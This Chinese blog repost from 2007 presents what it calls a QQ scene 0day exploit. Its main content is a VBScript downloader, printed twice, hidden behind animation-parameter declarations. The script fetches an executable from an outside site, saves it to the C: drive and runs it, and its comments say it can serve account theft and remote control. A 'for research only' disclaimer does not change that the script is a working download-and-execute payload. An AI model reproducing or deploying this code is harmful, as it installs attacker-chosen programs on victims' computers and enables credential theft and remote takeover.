QQ场景漏洞Oday利用(下载并运行程序)
2007-08-28 14:59
281 查看
本来想睡醒写的,丫的给雪弟捷足了。。哈哈就转载他的了。。
注意:本文涉及的内容具有危险性,仅供学习研究
来源:www.9198cn.cn (思深翔雪)
—————————— 下载者功能 ——————————
’以下可以用来盗号、远程控制
'动画参数
Dim g_bLoop(0)
Dim g_nMaxTime(0)
Dim g_nImageFrameCount(0, 0)
Dim g_bFrameImageAnimate(0, 0, 0)
Dim g_nFrameImageTime(0, 0, 0)
Dim g_nFrameImageLeft(0, 0, 0)
Dim g_nFrameImageTop(0, 0, 0)
Dim g_bFrameImageVisible(0, 0, 0)
Dim g_bFrameImageVertAlign(0, 0)
Dim g_bFrameImageHoriAlign(0, 0)
Dim g_nFrameImageVert(0, 0, 0)
Dim g_nFrameImageHori(0, 0, 0)
Dim g_nFrameImageWidth(0, 0)
Dim g_nFrameImageHeight(0, 0)
Dim g_nActionAnimationInterval(0)
Dim g_nCurAction
Dim g_nCurTime
Dim g_bRecall
Dim g_nCurWinWidth
Dim g_nCurWinHeight
Dim g_nInitWinWidth
Dim g_nInitWinHeight
Dim g_bCurVisible
Dim g_nCurLeft
Dim g_nCurTop
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.9198cn.cn/***.exe",0 '下载指定文件
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:/***.exe",2 '保存文件目录
wscript.sleep 1000
Shell.Run ("c:/***.exe") '运行文件
注意:本文涉及的内容具有危险性,仅供学习研究
来源:www.9198cn.cn (思深翔雪)
—————————— 下载者功能 ——————————
’以下可以用来盗号、远程控制
'动画参数
Dim g_bLoop(0)
Dim g_nMaxTime(0)
Dim g_nImageFrameCount(0, 0)
Dim g_bFrameImageAnimate(0, 0, 0)
Dim g_nFrameImageTime(0, 0, 0)
Dim g_nFrameImageLeft(0, 0, 0)
Dim g_nFrameImageTop(0, 0, 0)
Dim g_bFrameImageVisible(0, 0, 0)
Dim g_bFrameImageVertAlign(0, 0)
Dim g_bFrameImageHoriAlign(0, 0)
Dim g_nFrameImageVert(0, 0, 0)
Dim g_nFrameImageHori(0, 0, 0)
Dim g_nFrameImageWidth(0, 0)
Dim g_nFrameImageHeight(0, 0)
Dim g_nActionAnimationInterval(0)
Dim g_nCurAction
Dim g_nCurTime
Dim g_bRecall
Dim g_nCurWinWidth
Dim g_nCurWinHeight
Dim g_nInitWinWidth
Dim g_nInitWinHeight
Dim g_bCurVisible
Dim g_nCurLeft
Dim g_nCurTop
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.9198cn.cn/***.exe",0 '下载指定文件
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:/***.exe",2 '保存文件目录
wscript.sleep 1000
Shell.Run ("c:/***.exe") '运行文件
相关文章推荐
- 利用HTTP协议和IE的漏洞在其他计算机上运行一个程序
- 利用HTTP协议和IE的漏洞在其他计算机上运行一个程序
- IE自动下载程序并运行的漏洞
- mini2440利用uboot在内存中下载并运行裸机程序
- 利用HTTP协议和IE的漏洞在其他计算机上运行一个程序
- 如何利用 JConsole观察分析Java程序的运行,进行排错调优
- 利用jdk自带的运行监控工具JConsole观察分析Java程序的运行
- 网站程序中非SI漏洞的利用
- stm32(三) STM32(STM32F217XX) 分段程序下载以及其运行原理
- ProZilla Linux 的下载加速程序多个安全漏洞
- 有学生提到,在大学选课的时候,可以写一个“刷课机”的程序,利用学校选课系统的弱点或漏洞,帮助某些人选到某些课程。或者帮助用户刷购票网站,先买到火车票。这些软件合法么?符合道德规范么?是在“软件工程”的研究范围么?
- 利用记事本编写并运行一个java程序
- 利用线程下载网页中的程序并另存到本地
- STM32程序下载成功但是不运行
- STM32 利用定时器来计程序运行时间
- 一个利用python从中科大音乐网站下载mp3的程序
- 利用互斥控制程序只有一个运行实例
- 教程:让利用早期Delphi环境创作的程序自动以管理员身份运行.
- 利用飞信虚拟框架开发绿色.NET程序,让winform程序在客户端直接运行
- 下载烧录后, 如何判定程序是在运行的呢?